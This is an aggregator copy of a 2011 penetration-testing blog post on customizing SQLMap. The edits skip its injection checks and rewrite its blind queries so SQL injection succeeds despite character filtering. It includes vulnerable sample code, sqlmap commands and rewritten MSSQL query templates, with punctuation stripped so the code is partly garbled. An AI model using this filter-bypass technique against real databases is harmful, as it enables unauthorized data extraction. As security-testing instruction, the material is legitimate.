|
|
|
Customizing SQLMap to bypass weak but effective input filters |
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Customizing SQLMap to bypass weak but effective input filters Par Minded Security BlogLe [2011-05-28] à 12:54:46
Présentation : SQLMap is the most flexible Sql injection tool I have ever seen written in python, opensource and fully customizable. Many times during penetration testing activities you will face the need to customize SQLMap. In the following example the tool is not able to extract any data in it's default configuration since the application is filtering some particular characters. Let's consider the following URL, where id parameter is known to the tester to be vulnerable. Website Url vulnerable to SQL injection https www.bank.ok injection.aspx id 1pourcents2b1 Codebehind in injection.aspx.vb ------- string id Request.Get id id id.Replace ' , .Replace ' ','' ,Replace '','' .Replace ' ','' Sql.execute SELECT FROM articles where article_id id ------- -- The Problem Even if data validation is not neat, it limits for sure standard pentesting tools. As we can see from SQLMap logs, bisection algorithm cannot work if the character is filtered. In addition initial checks will not be able to discover that id parameter is injectable. For example the following request will fail . sqlmap.py -u https www.bank.ok injection.aspx id 5 -p id --dbs --dbms mssql --string This article is about politics Output Error -- Solution To customize SqlMap for our purposes we need to accomplish 3 steps 1 Disable all internal checks that are performed to see if a parameter is injectable 2 Tune Database checks 3 Rewrite blind queries without filtered chars in this case and 1 To disable initial checks if you already know that a parameter is injectable, locate the following file in SQLMap tree sqlmap lib controller checks.py This addition makes SQLmap skipping the control for checking if the parameter is injectable or not. Since we already know that the parameter is injectable, we make SQLmap skip this check. Added the following line at line 98 - return numeric After that is important to skip database check 2 Locate file sqlmap plugins dbms mssqlserver.py After checking if the parameter is injectable, SQL map checks if the database is correct or not. For Example if we already know that the database is MSSQL because of the convert check. We can skip this check as well Modified the following line at line 233 else setDbms Microsoft SQL Server self.getBanner kb.os Windows return True 3 To rewrite the logic behind inference, locate the following file File sqlmap xml queries.xml In the following scenario I have rewritten Queries for MSSQL Server. In particular character sobstituted with like operator and changed comparison via between ... and , since the application filters the following chatacter set equal sign , right angle bracket , double quote and ' single quote . ... query2 SELECT TYPE_NAME pourcentss..syscolumns.xtype FROM pourcentss..syscolumns, pourcentss..sysobjects WHERE pourcentss..syscolumns.name LIKE 'pourcentss' AND pourcentss..syscolumns.id LIKE pourcentss..sysobjects.id AND pourcentss..sysobjects.name LIKE 'pourcentss' count SELECT LTRIM STR COUNT name FROM pourcentss..syscolumns WHERE id LIKE SELECT id FROM pourcentss..sysobjects WHERE name LIKE 'pourcentss' condition DB ..syscolumns.name -- Testing The following command will now work. It will skip parameter injection test and will perform blind queries without using the filtered characters Command . sqlmap.py -u https www.bank.ok injection.aspx id 5 -p id --dbs --dbms mssql --string This article is about politics Databases 1 entry ---------- Politics ----------
Les mots clés de la revue de presse pour cet article : bypass
Les videos sur SecuObs pour les mots clés : bypass
Les éléments de la revue Twitter pour les mots clé : sqlmap bypass
Les derniers articles du site "Minded Security Blog" :
- RCE in Oracle NetBeans Opensource Plugins PrimeFaces 5.x Expression Language Injection
- RAT WARS 2.0 Advanced Techniques for Detecting RAT Screen Control
- Request parameter method may lead to CakePHP CSRF Token Bypass
- Reliable OS Shell with - EL Expression Language - Injection
- Software Security in practice
- Advanced JS Deobfuscation Via AST and Partial Evaluation Google Talk WrapUp
- Autoloaded File Inclusion in Magento SOAP API SUPEE-6482
- PDF-based polyglots through SVG images CVE-2015-5092
- Multiple security issues discovered in Concrete5
- Antitamper Mobile - Minded Security's Magik Quadrant for Mobile Code Protection
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.190.17.190 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.190.17.190 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|
